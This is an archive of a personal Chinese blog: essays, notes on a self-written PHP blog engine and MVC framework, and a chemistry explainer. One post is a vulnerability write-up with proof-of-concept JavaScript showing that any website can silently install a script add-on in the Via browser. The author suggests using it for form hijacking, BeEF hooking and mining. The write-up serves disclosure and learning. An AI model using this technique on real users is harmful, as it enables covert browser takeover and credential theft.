RESTKHZ

Hello world: 关于新博客

1599192098

新博客的故事

不知道有没有人记得，我第一次说要自写博客系统已经是三年前的事情了。
但是因为学业等等问题，总是没有时间。有时间开头，没时间善终。其中各种用Phalcon, la框架写的半成品比比皆是。高二自己还写了一个简单的MVC实现但是根本不可能用来做博客。
如今花了一个多月，开坑一个大坑写了一个Ugly-blog。然而它善终了。使用了自写的框架UGPF(UGly Php Framework )。中途踩了很多坑，也顺便学了Vue.js 。
谈谈特性吧：

Markdown文章编辑。
支持评论，分类，浏览量统计。
sqlite，轻量博客系统。垃圾服务器也带的动。
一定的LaTeX支持

但是缺点更多:

糟糕的框架，糟糕的路由，只有基本MVC实现。没有ORM。并且设计的时候考虑不周导致中间件和小组件简直就是废物。并且导致后期博客系统业务逻辑编写非常糟糕，不易维护。没有调试支持，前端API交互回到石器时代。
对于评论，分类，浏览的功能支持根本不完善。可以说目前就是一个玩具。
代码毫无健壮性可言。
从入门到做出后台学了两个星期Vue，指望能做出啥玩意？
性能和Hexo，ghost比毫无优势。

在2020年,博客早就十分暗淡.
现在每个人的博客彼此之间是一座座遥远的孤岛,埋没在一堆别的大型社区之中. 曾经,互联网内容是博客个人生产的,而现在已经是大企业提供写作空间,个人替大企业生产,大企业赚大钱.

我并不指望这个博客能怎么样.

那你为什么要自写博客系统？

其实这是我被问很多的问题。
原因很简单： 1.好玩 2. 学习 3. 我想好好写纯粹的博客。
好玩什么的很主观。但是学习是客观且真实的。为了写一个博客，从php，设计思想，OOP，js，css又都过了一遍。顺便两星期捡了一个vue。虽然我真的……不太想当一个程序员，但是至少说明自己学习能力还在。
至于博客，很多人一会说WordPress臃肿，一会说Hexo几乎没东西。人们喜欢尝试新的东西，喜欢跑性能，喜欢漂亮的界面，喜欢强大的功能，这没有错。但是出发点本身就根本不在博客上，而是在网站上。而且，这些网站自身也并不是他们自己编写的，换着玩着，着实整出了“奇迹暖暖”的味道。
于是终于有一天，热情丧失殆尽，博客常年不更，域名欠费，博客死亡。
我有写文章的习惯，虽然不是很勤，虽然文采不好，虽然很多很多文章我并不愿意拿出来分享，虽然技术辣鸡，但是，好歹一切还能勉强进行。

在自己海上孤岛上的小堡垒里里安心写字，还是一件值得享受的事情。

TODO

(已经放到别的地方了)

That’s all.

路灯下的路人

1599194734

路灯下的路人

………他坐在马路牙子上，熄灭了手里的烟，随手丢进了路边路灯灯光照不到的窨井。“你知道吗，你让我想起我两年前的样子。”他说“看你这样，一个人在一个城市，野心大又迷茫。”他掏出了皱巴巴的烟盒，熟练的掏出一根。“你要吗？”他问道。“不了，我不抽烟。”我说。他又笑了：“真巧，我两年前也不抽烟。和你一样酒吧，网吧都没去过，我连酒都不敢喝。你看我现在呢？去酒吧，一晚消费几万，找个女的，再过一晚上。”
说完。他深深的吸了一口不知什么时候点上的烟。“嘿呀，我在上学的时候还喜欢过那么一个…”他话匣子聊到感情便关不上了，我只能在昏黄的路灯光下听他叙旧。他染黄的头发已经开始掉色，在路灯光下闲的十分不自然。“你谈过恋爱吗？”这一问很突然。
“有过。”
“现在呢？”
“没了。”
“为什么啊？”
“没为什么。”
他笑了一下
“那你追回来啊？”
“算了。”
“你会遗憾一辈子的。”
“不在一个城市，我也不想耽误到别人…”
“你以后就会知道，女人是明码标价的。只要你有钱，就自然会有女人。任你选。”
“我不想那样。我只想要我想要的那个。”
“那你现在就是没事就在家看黄片打飞机吧？”
“……”
“我能理解，但是她们以后会变得明码标价，这个鬼屌社会你没钱才是耽误别人，也耽误你自己。就算她们自己不明码标价，社会也会让她们明码标价。你要珍惜那些还没有明码标价的时候，花钱买不来的。”
“但是我……”
“我也不想这样，但是没办法。”说完，他猛的吸了一口烟，红色的火光像受了刺激一样猛然一亮，然后带着小半截没烧尽的烟一起又扔进了下水道。
……………
(11.18凌晨两点。场景虚构，聊天内容真实。观点并非我的观点。)
《路灯下的路人》

路灯下的闲人

1599194752

路灯下的闲人

　　路灯杆的皮上贴着各种小广告，所以它不孤独。为什么？因为每天晚上都会有人贴，所以每天晚上也都有人刷上。一天轮两班，轮着给他加厚皮。冬天天冷，听着就赚。

　　当然，每天晚上我都会陪它一会，说说话，听听白天城市的声音。看着他高耸的灯头埋在树里。即便是冬天，他们也会和树交头接耳地，把一个个城市里的八卦传的满城风雨。

　　好了，今晚就在他的灯光下。看着头顶一个个梧桐树枝叶中通往城市白天的洞，洞里时不时传出人们的窃窃私语，汽车路过，或是吱嘎作响的自行车的声音。

　　而我，则是路灯下的一摊积水。提着一个空的塑料饮料瓶，挂着早已经没电的耳机。坐在路灯下白天的喧闹里，怎么晒也晒不干。

路灯下的水泥

1599194779

路灯下的水泥

　　他与树为伍，在深冬的夜里，坐在路边。
　　一样的沉默，一样的寡言。
　　在每个夏天深夜里，他繁茂的枝叶轻柔的搂抱着路灯。似乎爱恋，却又贪婪。等着风来，听着雨落，望着那一排一排的树木和电灯。窃窃私语，任时光如细沙，一点一点漏进了钟表，溺浸了机芯。
　　然而转眼却又已到了冬天，他拥抱着树，树也静静地感受着他37摄氏度的体温，像老朋友一般静听着他怀里的故事。它送走了一个夏天浓密的风云，于是他们沉浸在了冬日的雾霭中。棉絮一样，塞满了他的肺。
　　他再也没说一句话。天亮的时候，人们发现他成了一块水泥墩，裂缝里的草上结着一层白霜。每当风吹过的时候，人们总能听到那冰冷凄惨的回声。　　

路灯下的幽灵

1599194802

路灯下的幽灵

　　冬天，雨沥沥下着。
　　那些骑着自行车电动车的黑影就这样，从黑漆漆路的尽头出现，从灯光下经过，又从远处的黑影中消失。
　　路灯则用钢管支撑的头颅，用炽热的心，在雨水中安静的照着，把一个个黑影照亮，照成或红或紫，穿着雨披的一个个彩色的幽灵。
　　阳光不属于这些人们。他们吃着糊弄的外卖，喝高糖的饮料，肺里是致癌的空气，看着垃圾网络信息，住着昂贵的空中楼阁，每天熬夜到下半夜，心里总渴望着发财——每个人每天都很累，每个人活的却又糟糕。他们喜欢荧光灯，荧光灯里不是有工作的安抚就是家的温暖。
　　穿过一个又一个明亮气派的房产中介和培训机构广告牌下，忙忙碌碌的他们没有人知道他们从哪里来，又要到哪里去。
　　
　　(2019.1.26 17:07)

黑灯漫谈

1599194228

黑灯漫谈

　　空气是如此的通透，就像”空气”一样。清亮的月光也毫不散射，却又被庭院里那些带刺的野生枝蔓打的支离破碎，散落满窗满地。
　　记得歌德改编过一首《Heidenröslein》(野玫瑰，开心也可以叫“荒野小玫瑰”)，而后被舒伯特了改成了一首歌。而内容我曾一开始以为是“略有不妥”的爱情故事，而后才慢慢觉得这是一场暗红色的悲剧：男孩要采它，野玫瑰说：“我要刺你，让你常会想起我，不许轻举妄为。”——男孩到底还是很暴力的采了。结果是悲剧，双方都要承受痛苦。
　　倒是好几年前某个IT群里半夜偏题聊到女人，某个人插科打诨了一句“学校里的女孩就像银行里的钱，”。现在想想这话虽然没品的很，但是想表达的意思大约和歌德有几分相似。只不过少了花香，多了铜臭。当然也不能奢求他们，996为了钱，21点以后街头他们能搭上话的女人也很有限。
　　按阶级说，我算是一屌丝，卡在中产和底层之间；按文凭说，我还是一屌丝，这种“任人唯贤”的模式混不下去了，可见不贤；按生活状态说，我就是一屌丝，每天从床上翻下来就要考虑早饭，午饭，晚饭，还要上学，写作业。有人说：“你该找个女朋友”，这位朋友，我生活已经如此水深火热，找个能“赴汤蹈火”的女孩是不是痴人说梦？嗯？
　　我原来喜欢一个人独自出去散步的，听听行道树的交头接耳，走路灯光下的一次次的漂洗，听江浪拍打岸边的混凝土，这对于我来说都是一种幸福。但是我听不懂外邦树的语言，灯光也太让人犯困，就连池塘腥味也很难闻到。好在这里有风，有铁路，有鸟，有老鼠，有飞不完的蒲公英，墓地里也有讲德语的猫(或许因为文化差异甚至看猫打架架势也有所不同)所以这里，还是很热闹。
　　我们叫这里本地人外国人，本地人叫我们外国人。总之，所有人都是外国人，所有人都是流浪者，而把暂时的容身之所称为家。
　　5.3日凌晨。　　

生活在夜里

1599194342

生活在夜里

　　我想生活在夜里。
　　那么，我可以在别人回家的时候起床。在他们摔坐在沙发里，和家人吃着晚饭看电视，热闹的聊家长里短的时候，我便悄悄从被窝里爬起来。戴上眼镜，洗漱，在手机上和朋友们说晚安或是早安；超市临近关门，我会挑选剩下的折扣商品，并且不需要排队付款。
　　我可以给自己煮一锅燕麦粥，趁着这个城市的余温把它吃完；悄悄地，去墓地看星星，看月亮，看城市里的猫打架，并且为他们助威喝彩。
　　十二点了，网易云的日推也更新了。世界足够安静，那么点灯，静下来，看看书，做做白日梦，像孩子一样用铅笔在纸上涂鸦，涂出没有任何意义的，白天的梦。
　　郊外的路灯困倦了，昏黄的光上是白凄凄的月；唯独草丛里窸窸窣窣，是那些不眠的小动物在努力工作赚钱。一颗死去的树上长了一层绿油油的地衣，使它看起来是活物，但是它确实是死了。
　　也快到秋天了，火车一节一节，一列一列，隆隆地从钢轨上快速碾压过去，钢轨吱吱呀呀撕心裂肺的惨叫着，带着从白天传来的回声。卷起风和热，像海浪一样冲刷着每一个冥顽不化的礁石和面朝着它，心里冰冷暗淡的人。
　　不需要有任何意义。
　　在人们醒来的时候，发现做了一场梦。梦里有一个人；在我睡去的时候，我也做了一场梦，梦里是所有人。
　　晚安，亲爱的。
　　(8月27日凌晨)

无题——搬家之后

1599194488

无题

　　不知不觉，搬家后忙忙碌碌一阵子，很快就九月了。
　　作息大概调不回来了。夜里三点喝了第四杯咖啡。在台灯下拿起笔写写画画，看看书，网易云日推更新了，那就来者不拒的凑个热闹吧。
　　无所事事，吗？在夜里独处。寂寞吗？不。每天的事情很多了。我的生活像火车站，人们进来，于是它热闹；然而人们也离开，所以它也空虚。
　　进进出出，熙熙攘攘。也正是因为如此，热闹，不至于很热闹；空虚。不至于很空虚。但是他们的目标都是一致的：坐你的车，离开，去自己想去的地方。
　　贾总说我深谙交往：”关系如瓜，生了要放，熟了要摘。”
　　说真的我不懂交往，我啥都放。放的可能是生瓜，可能是熟瓜，也可能是鸽子。——生瓜熟，熟瓜烂，鸽子飞了会回来。
　　而我需要安静独处，消化掉他们带来的事情，消化掉他们给我的经历，复盘，反刍。变成所谓的阅历。
　　白天窝着睡觉，醒来的时候天已经黑了。奈何又忘了去买吃的。如今地处偏僻，也没宵夜可吃。当时住在市中心的时候夜里可以买Döner，有肉有菜有面饼。而现在，就嚼嚼咖啡方糖吧:-)
　　突然想到一个人和我说过，心情不好的时候，就往嘴里塞一把冰糖。今天她大概开学了吧？不知道邱老师的语文作业写完了没？
　　咖啡方糖用舌头捣一下子就碎了，并且很快的融化，但是终究没有全部化掉。很甜；咽了下去，有点划嗓子。
　　而后问自己：”我的心情好了吗？”
　　2019.09.01，凌晨5：00 　　

无题——福尔马林，塑料花，聚乙烯人

1602264437

　　给一棵黑色裸体塑料树浇水，等一束白色衣冠整洁的假花开放。取时间若干，并切成片，加两汤匙糖和料酒少许泡进福尔马林腌制。
　　坚持每天醒来的时候坐在床头用潦草的字迹写下我的所作所为：夜里的信号灯红了，绿了，绿了，红了…；认真修剪着塑料的树枝和自己的胡须；每天醒来的时候，用黑色针线缝上自己的眼睛和嘴，让我看上去对异性更有吸引力一些；注意身体健康和补充维生素；积极参加社交活动呼吸更多氧气和一氧化二氮避免窒息和尴尬；对美好的事物的离去感到悲哀并对自己生命嗤之以鼻；大笑，用暴力嘲笑弱者，表现自己的英雄主义；睡眠良好，成熟，不幻想，不做噩梦；
　　每天清晨，我看着日出缝上我的眼睛和嘴。每天日落，我将再拆开它们，露出蝶骨；悉心照料在火中成为灰烬的猫，拥抱那一棵塑料橡胶树，触摸它裸露而光滑的皮肤，并和它舌吻；会记得咬它下嘴唇并吞咽唾液。
　　我在等塑料花开，送给一个聚乙烯人。而我躺在床上，或许我睡着了，或许这是梦，或许我病了，病的很重，难以醒来。

调试页,FLAG和TODO

1599195469

本页面专门立flag，如果这里的TODO都能完成我就直接再做一个安装脚本，开源UGLY PHP BLOG 并且版本定为1.
(我不指望开源后有人会用这个系统

~~URL中文没有支持地址栏出中文必404~~
~~评论有问题，停了。~~
~~文章顺序不正确。~~
~~首页css出现问题你会发现文章card和底部挤一起去了。~~
~~nginx缓存~~
~~字体颜色问题~~
~~icon过大~~

[TODO]

front:

最好加个时间分栏或者分页器。
~~右侧介绍卡~~(取消)
rss生成
~~category页标签和描述~~
~~评论验证码~~(试着用js渲染隐藏表单一个值来阻止垃圾评论)
TOC生成

back:

category完整管理
~~category不会自动收回~~
~~后台心跳~~
~~备份数据库文件头多了两个空格(20)损坏~~
~~编辑器tex支持~~(感觉和我笔记软件,前台渲染出入太大,不做了)
~~完整的文章删除和隐藏~~

SEO

~~description meta 生成~~
~~sitemap生成~~

考虑tag分类
开启缓存引擎,在土豆作为电源的情况下已久可以运行.

latex测试:
$\alpha=\sum$

Via浏览器插件小漏洞以及利用

1602230314

Via浏览器插件小漏洞以及利用

注:这是从我原来博客搬迁过来的老文章,一个安全问题的技术分析文章,如果您只是来找插件,那么你来错地方了.抱歉.

缘起

Via浏览器大概是我最喜欢的浏览器，也一直是我一直用着，用了几年的一个浏览器。曾经也用过夸克等等号称轻量的浏览器，功能是不错，然而夸克浏览器那简约的外表背后谁知道还留了一（几）道,具体不谈.

至于Via小脚本一直很有特色，到2019年5月份才动手打算自己写一点什么。但是开发过程中发现任何站点是可以直接安装插件，这个过程不需要用户参与太多，仅仅提示安装上了。插件js可以在任何页面执行，这造成了一些安全隐患。比如表单咱可以做点手脚，劫持登录信息，装Js矿机，或者上个Beef之类的。并且可以持久化操控浏览器.

可以说这个文章没有什么溢出，没有什么二进制，没有怎么逆向，全程简单web，没有解密，只能水坑，没有什么价值。写着玩玩。

分析过程

首先，分析了一下官方安装插件的站点页面，没什么东西，审查元素，安装按下后执行operate()函数，还有一些一眼就能看出是base64的东西，核心部分也就一个JS，关键的js。

格式化后如下：

function(event) {
    var button = $(event.relatedTarget)
    var oid = button.data('where')
    var data = findAddon(oid)
    var name = data.data('name')
    var author = 'powered by @' + data.data('author')
    var info = data.data('info')
    var modal = $(this)
    modal.find('#addonName').html(name)
    modal.find('#addonInfo').html(info)
    modal.find('#addonAuthor').html(author)
})
//太长了 XD
//点开查看完整的
//Click --------------&#x2197;
function operate(id) {//Haben Sie das gesehen?Hier.                    
    var i = findAddon(id)
    var addon_json = JSON.stringify({
        'id': i.data('id'),
        'name': i.data('name'),
        'author': i.data('author'),
        'url': i.data('url'),            //这里是触发脚本运行地址(比如*.restkhz.com就会在访问到我博客的时候自动执行 
        'code': i.data('code')           //und hier ist BASE64 code.
        //这里是最有趣的地方,base64的插件JS源码.
    })
    var base64 = new Base64()
    var addon_result = base64.encode(addon_json)
    try {
        window.via.addon(addon_result)
    } catch (error) {
        console.log(error)
    }
    setStauts(id, i.data('status') == 0 ? 1 : 0)
}
function setStauts(id, status) {
    findAddon(id).data('status', status)
    $('#operate-' + id).html(status == 0 ? lang['install'] : lang['uninstall'])
}
function findAddon(id) {
    return $('#addon-' + id)
}
function submitLang() {
    $('#lang-form').submit()
}
$(document).ready(function() {
    var data = '[]'
    try {
        data = window.via.getInstalledAddonID()
    } catch (error) {
        console.log(error)
    }
    var json = JSON.parse(data)
    for (var i = 0; i &lt; json.length; i++) {
        setStauts(json[i], 1)
    }
})

省略了部分base64处理代码。
捋了一下：

大概就是把一个插件json字符串base64一下，丢给window.via.addon()，检查状态，就这样。至于json，主要是code，是已经base64的js，还有url，指定了工作的域名，* Bedeutet alles。

构建和利用

咱们来照猫画虎，~~按瓢画葫芦~~
学原来的那个被解析的Json格式,写一个json出来.Code是插件源码,我们写一个简单的js弹窗alert(‘restkhz’)并且base64编码为YWxlcnQoJ3Jlc3RraHonKQ==, URL指定了触发的网址,我们这里写一个星号,意味着所有网址都可以触发它运行.

再写了一个html，里面就运行一段js.

function addonApp (appObj) {//安装卸载都是它
appStr = '{author:"restkhz",code:"YWxlcnQoJ3Jlc3RraHonKQ==",id:"9999",name:"TEST",url:"*"}'
var base64 = new Base64()
var addon_result = base64.encode(appStr)
    try {
        window.via.addon(addon_result)
    } catch (error) {
        console.log(error)
    }
    //setStauts(id, i.data('status') == 0 ? 1 : 0)
}
//base64处理代码完全省略
addonApp();

~~如图，直接访问地址就装上了，顺道还已经执行了。~~

~~这里还有一个beef：~~

~~补充：由于从wp迁移过来图自然是没了，以后有空补上。~~
很不幸!图没备份!

简单说一下,当时就弹窗了,BeEF也收到回连.

其实按照构想,这个漏洞可以用于用户地理位置监控,挖矿,并且可以自己定期检查更新自己.因为安装时只有安装成功字样却没有任何询问.对于很多用户可能还一脸懵逼的不知道发生了什么.

解决方案

我能想的到的，大概就是给插件加开关。默认禁用，除非用户手动打开。不知道实现是否困难？

同分异构,相对构型,绝对构型,D/L,R/S,有什么区别?

1602746743

缘起

自学真的很麻烦。最近在自学有机化学同分异构，发现网上中文资料能找得到的零零碎碎。而个别能找得到的文章亦有不通之处。查了很多资料（文末列出）并整理出这个笔记。

强烈推荐阅读参考引用内容，讲的很清楚。

并且我要指出：https://www.douban.com/note/142745360/ 这里这个豆瓣文章没讲清楚，读着甚是矛盾。在我对各种概念不清楚的时候让我走了弯路。

当然本人不是化学专业学生，不是食品医疗相关学生，甚至不是大学生。没有系统学习，有谬误之处希望指出。

（诶？这不是一个搞计算机的学渣的博客么？ XD

D/L 相对构型

这是一种人为规定的方法, 常用于一些碳水化合物的空间描述.

“相对构型好比知道张三李四是一男一女（而非两个男的或两个女的）但不知谁是男谁是女；绝对构型好比知道张三是男，李四是女。” ——SBC123 (原贴见参考引用)

说到相对构型，就不得不提甘油醛和费歇尔投影式（如图）

维基百科对甘油醛描述如下

甘油醛（glyceraldehyde (glyceral)）是一个丙糖，化学式为C3H6O3，是最简单的醛糖。它是有甜味的无色晶体，作为糖类代谢的中间产物，同时也在D-/L-标记中作为标准物。

这个规矩简单粗暴，就是:

尽可能地把最高化合价的碳放在上面
画出一个规范的费歇尔投影式
再看手性碳原子，如果羟基在右边那就是D，在左边就是L。(来自拉丁语左和右)

如图甘油醛的费歇尔式：

1.醛基碳氧化价最高，画出规范费歇尔式。
2.横向羟基在左侧为L-甘油醛，羟基在右侧则为D-甘油醛。
所以这个和旋光的没有关系 ↓图中都是D，但是旋光不同。

~~（博客搬迁，图以后补上）~~

那个时候并没有能力直接测定其真实构型能力，其它分子都是以D- L- 甘油醛为标准，人为规定的。直到后来20世纪50年代才有了能力通过X射线了解真正的构型。因此这里的也称为相对构型。然而这也就带来了局限：并不是所有分子都可以以甘油醛为标准，DL构型标准对于多个手性碳也会很麻烦。例如 R-环戊烯-3-甲酸

那么我们拓展到果糖：

如图，我们已经有费歇尔投影式了，C-2是一个羰基，氧化价最高，放上面。然后关注距离羰基最远的那个羟基的位置，确定它的构型。

R/S 绝对构型

如果您想好好学学序列法则的具体的内容这里还有一篇非常好的英文文章, 图文并茂, 强烈推荐.
绝对构型 R/S

在20世纪人们有能力通过X射线衍射技术直接确定分子中原子和基团空间位置后，才得到了绝对构型。至于绝对构型的R/S判定，则必须要了解序列法则
简而言之就是对比原子序数确定优先，遇到相同的就“递归”相同的那个（向下一层），双键嘛就当连了两个。四面体嘛，把优先级最低的放后面，正面就三个原子，优先级从大到小顺时针就是R逆时针就是S。

这也和旋光性没有直接联系。

旋光性是它对于偏振光的偏转，左偏还是右偏。而构型一定要用X射线衍射确定。

参考引用

https://chem.libretexts.org/Courses/Purdue/Purdue%3A_Chem_26200%3A_Organic_Chemistry_II_(Wenthold)/Chapter_22._Carbohydrates/22.03%3A_The_D_and_L_Notation

↑英文，讲的很好了。我相信看完这个应该足够。

http://class.ibucm.com/yjhx/3/right5_32.htm

↑北京中医药大学的……不知道是什么，挺有用的。

https://zh.wikipedia.org/wiki/%E8%B4%B9%E6%AD%87%E5%B0%94%E6%8A%95%E5%BD%B1%E5%BC%8F

https://zh.wikipedia.org/wiki/%E7%94%98%E6%B2%B9%E9%86%9B

↑wiki

https://share.zjuqsc.com/Files/201210/b68a86e3c0ccf0d2cabfb5c1a05b523d

↑貌似是浙江大学某处的课件ppt

https://www.dxy.cn/bbs/newweb/pc/post/14779993

↑丁香园某帖子

（这篇文章在我搬迁之前有427次浏览，说明还是有人看的。如今有图有问题，我可能今天搬迁完会忘了补图。你们发现还是没图评论催一下啊！

UGLY-BLOG 0.2 发布

1602231043

更新

目前这个博客系统运行一个月了。因为第一个版本比较辣鸡所以我做了一些升级。

UI有一定的改进
使用了Prism用于代码高亮
后台功能完善：增加评论管理和草稿自动保存，因为曾经手贱点了刷新导致写了一半的文章直接没了。
访问量统计有一定的问题，每次在首页和文章控制器初始化时如果没有Session那么访问量+1。导致有大量bot访问的时候会出问题。小破站一个月下来访问量4300+，我是不信的……
修复了一定的Bug

btw我真不明白为什么这样都会有spam。看来未来评论还要加一个验证码。

About this blog......

1602234833

Why I made this…

Yes, I love Information security. But why did I spend a lot of time , just used PHP to develop a new Blog system? I know, there’re huge amount of excellent blog systems, like Wordpress, Hexo, Ghost…But learning something new is necessary. (well i admit that i’m just bored.

I tried using others MVC frameworks, like Yii, phalcon, LA. But I never understand how they work. This time I’m going dive into PHP MVC, OOP and Namespace. (btw i picked up Vue.js XD

Then I made a new MVC framework. Its code seems … not elegant at all. So , i just named it as UGPF: UGly PHP Framework. And this blog system called: ugly-blog.

Anyway, no matter which blog system am I using , Content is the most important thing. This site was running since 2016, hope it can live longer.

feature

Markdown Editor (Editor.md)
Code Highlight(Prism.js)
Sqlite database, because I’m too poor to afford a good VPS and this poor VPS has only 512M memory. Make sure this blog is light enough (maybe can running on a potato.
Views Counter, using image beacon and Session.
Comment function (I just don’t understand why this little site received spams every day?)
others, like Draft auto-saving, database backup…

Okay That’s it…hope ya have a nice day :)

自写PHP MVC框架(1)

1602919578

缘起

((这里嫌啰嗦可以不看
起初我想自己写一个博客系统。讲道理博客系统不算复杂，但是我还是打算使用框架，并且，自己编写。
那么，为什么不用现成框架？PHP的La它不好用吗？
首先，框架的概念，框架的意义，解决的痛点，我并不了解。甚至一些php的功能，OOP的思想对于我来说都很模糊。直接使用框架恐怕只是学习一种工具，而不是思想。工具每年都在更迭翻新，花费大量时间学习框架只是被工具绑架而已。而我目前并不是程序员，没有那么多急迫的业务需要，学一个框架很快也会因为工具更迭,被淘汰而失去价值。
所以不如动手中学习一下思想。
单做一个框架，收获不大。一定要让它做点实用的事情。再通过实际的业务回首反观框架，才能了解到我需要什么，哪里存在问题。
所以《从零开始自己动手写PHP MVC框架》只是一个开头。以后还是要用自己框架做点什么，否则依旧不知道框架应该是什么样子。（虽然以后这类文章我未必会写）
多学习一点没坏处（正好闲着）
琢磨起了这个框架的设计。毕竟是我第一个写了能用起来的框架，设计并不周到，很多地方写写改改，功能也有点缺。目前还想整一个ORM出来。整个技术上来说也并没有什么黑科技，中规中矩，代码丑陋，补丁遍地。这玩意我就叫它Ugly了。（阿格里！）

本文会围绕着这个框架,跟着一个请求处理的顺序观察框架，并且精简一部分代码。

概览

MVC是什么我就不再多介绍了。不理解这是什么你也不会到这里来。

设计上来说,我希望:

每个模块之间清晰,配置灵活.方便日后扩展和替换. 因此存在命名空间Ugly( core namespace )和Controller, Model, ~~Widget~~(app namespace)

核心命名空间在以后框架使用中以后不再进行编辑, 只编辑应用命名空间.

M：

目前还是通过模型基类的函数进行sql拼接，pdo预处理(为了安全)。但是这里用了一个”驱动”概念:

模型基类只接收pdo对象,不在乎你用的什么数据库. 所以可以自己编写不同数据库的pdo,初始化并提供给模型基类, 以后可以可以在配置中进行替换。

每次初始运行都会获取被调用的模型表名。没有ORM多多少少还是麻烦。
比如目前根据用户id读取用户名：

$r = $this  ->select('name')
                 ->where('id', $id)
                 ->exec()
                 ->fetch();

目前用的是sqlite

V：

偷懒，用了Twig。后面Xdebug性能分析发现它开销是大头。这没啥好说的了。

C：

中规中矩嘛……加了一些读json，发送json的功能而已。我试着增加一些插件功能，在每次控制器运行/销毁的时候运行，可以hook一些东西。但是后来因为觉得鸡肋，有时候还出问题，就删了。

路由：

自动的，通过配置文件的classmap，不同命名空间对应不同路径，方便自动加载器寻找路径。
个人认为路由是我写的很失败的地方。

性能：

这种小框架讨论性能没有意义……
只能告诉你不慢。

安全：

SQLi:设计时必须考虑到的问题，使用PDO预处理解决SQL注入问题。

XSS: 对于用户输入做了转义，考虑到有时候可能会对正常业务有影响，没有全局使用。这有存在漏网之鱼的可能。

htmlspecialchars($value,ENT_QUOTES);

这个函数不用ENT_QUOTES会翻车。可以bypass。
并且在输出的时候开启twig的autoescape，转义特殊字符。尽可能消灭漏网之鱼。

目录结构

.
├── data 数据库存放
│ └── sqlite.db
├── public 对外公开的web目录
│ ├── assets 静态资源
│ └── index.php 入口文件
└── ugpf 框架核心
├── cache twig缓存
├── config 配置文件目录
│ └── config.php 配置文件
├── controller 应用的控制器都在这
│ └── Index.class.php （应用首页控制器）
├── core 框架的核心
│ ├── Controller.class.php
│ ├── ErrorHandler.class.php
│ ├── Model.class.php
│ ├── Router.class.php
│ ├── SqliteDriver.class.php
│ └── Ugly.class.php
├── model 应用的模型层都在这
│ └── IndexModel.class.php（应用首页的模型）
├── vendor 第三方玩意
│ ├── autoload.php
│ ├── composer
│ ├── symfony
│ └── twig
└── view 应用的视图模板
├── 404.html
├── dbdebug.html
└── error.html

这是这个框架早期的目录结构。

入口文件

<?php
/**
* Ugly PHP blog 0.1.0
* This is the Entrance File.
* We defined consts and included all the things we need.
* check, and run.
*/

//Please set DEV to 0 when it's running in production environment
define('DEV', 1);

define('DIR',__DIR__.'/');

define('UGLY_PATH',DIR.'../ugpf/');

$config = (file_exists(UGLY_PATH.'config/config.php')) ? require UGLY_PATH.'config/config.php' : die('Configuration file is missing. x_x');

require UGLY_PATH.'core/Ugly.class.php';

Ugly\Ugly::run($config);

在这里我们定义了它运行的环境，根目录，包含配置文件并且加载Ugly.class.php。
并且启动整个引导过程(Ugly::run)
如此定义开发环境生产环境其实并不是个好习惯。但是早期版本作为学习也就这样用了。

配置文件

<?php

return [
  'DEFAULT_ROUTE' => [
    'CONTROLLER' => 'Index' ,
    'ACTION'    =>  'index',
  ],

  'CLASS_MAP' => [
    //Here is core-classes path
    'Ugly\\' => UGLY_PATH.'core/',
    'ErrorHandler\\'  => UGLY_PATH.'core/',
    //APP classes path
    'Controller\\' => UGLY_PATH.'controller/',
    'Model\\' => UGLY_PATH.'model/',
    'Widget\\' => UGLY_PATH.'widget/',

  ],

  'CACHE_PATH' => UGLY_PATH.'cache/',
  'VIEW'  => UGLY_PATH.'view/',
  //DB_config
  'DB' => [
      'DRIVER'  => 'SqliteDriver',
      'PATH' => UGLY_PATH.'../data/',
      'NAME' =>  'sqlite.db',
  ]

];

配置文件定义了命名空间和路径的映射，数据库配置，twig配置，默认的控制器和行为。
这块CLASS_MAP是给UGLY自动加载器使用的，待会就能看到。

Ugly.class.php

<?php
namespace Ugly;

 /**
  * Ugly core class
  */
 class Ugly
 {

   public static $controller;
   public static $action;
   public static $param;
   public static $config;
   public static $view;
   public static $ErrorHandler;
   /**
   * Run() is a bootloader 它只是一个启动引导器
   */
   public static function run($config)
   {
       //load Configurations 加载配置
       self::$config = $config;

       //Register classloader 注册autoload函数
       spl_autoload_register('self::loadClass');

       //Load View engine 加载视图引擎twig
       self::_initView();

       //Register Error Handler.注册错误处理
       self::$ErrorHandler = new \ErrorHandler\ErrorHandler;
       self::$ErrorHandler->run();

       //Run the Router, and LOS! 开始运行路由
       Router::start();

   }

   /**
    * For auto loading
    * @param  [type] $dirtyClassName [description]
    * @return [type]                 [description]
    */
   public static function loadClass($dirtyClassName)
   {
       //分离出类名
       $class = substr(strrchr($dirtyClassName, '\\'), 1); 
       //分离出调用的命名空间
       $nameSpace =  substr($dirtyClassName, 0, strrpos($dirtyClassName, $class));
       //通过配置文件，找到路径并require。没有找到直接调用错误处理显示404
       $file = self::$config['CLASS_MAP'][$nameSpace]. '/'. $class .'.class.php';
       if(!file_exists($file)){self::$ErrorHandler->E404($class);}
       require $file;
   }

   /**
    * This loading method is awful. 加载视图。
    * Twig used in ErrorHandler and controllers
    */
   protected static function _initView()
   {
       require UGLY_PATH.'/vendor/autoload.php';
       $loader = new \Twig_Loader_Filesystem(self::$config['VIEW']);
       self::$view = new \Twig_Environment($loader, array(
          'cache' => self::$config['CACHE_PATH'],
          'debug' => true
        ));

   }
 }

这里我们把一个框架的引导过程全部放进了run()，使整个运行过程清晰起来。
另外的一些重要全局内容，比如请求的控制器，行为，参数，错误处理器，全部成为Ugly的一个属性。

到此为止，一个框架的引导部分就完成了，接下来在路由中，一个请求的处理才刚刚开始。

下一篇我们会讲路由分发和控制器基类的设计: 自写PHP MVC框架(2)

[ABOUT ME]

1605848684

About me

Hello.
Welcome here, a sequestered island among Commercial community ocean.

About me, I don’t want talk too much.
I am an CS Bachelor student of ~~(???)~~ still in progress.

Definitely not clever.

Love technology, information security. Learned VB, using Trojan when I was 12. A script boy, when I was 14, using tools playing with fire and fragile, I don’t want to talk about what I did.

Love Russian music, learned piano almost 8 years. Love biology and Chemistry but unfortunately I don’t have chance to study them any more.

Well. Now it’s 2021, I’m still using RSS reader and Blog. Leave away from Contaminated information. A dirty Source of linux only makes your OS damaged.

I used to be a dumb, it took me more than ten years to learn how to speak, now, I’m learning how to shut up.

Living like TV-noise;
addicted to Caffeine, Nicotine, Music.

A Nihilist,
A INTP,
A nerd.

I’m restkhz, a common student.

Have a nice day :)

restkhz

逻辑:命题逻辑,语义后承,和转化规则

1608432395

命题逻辑和语义后承

最近在自己学逻辑, 逻辑是计算机的一个重要基础学科.然而本人自己找的教材资料是德语英语中文各个语言,在此做出整理.可能存在错误,欢迎指正.

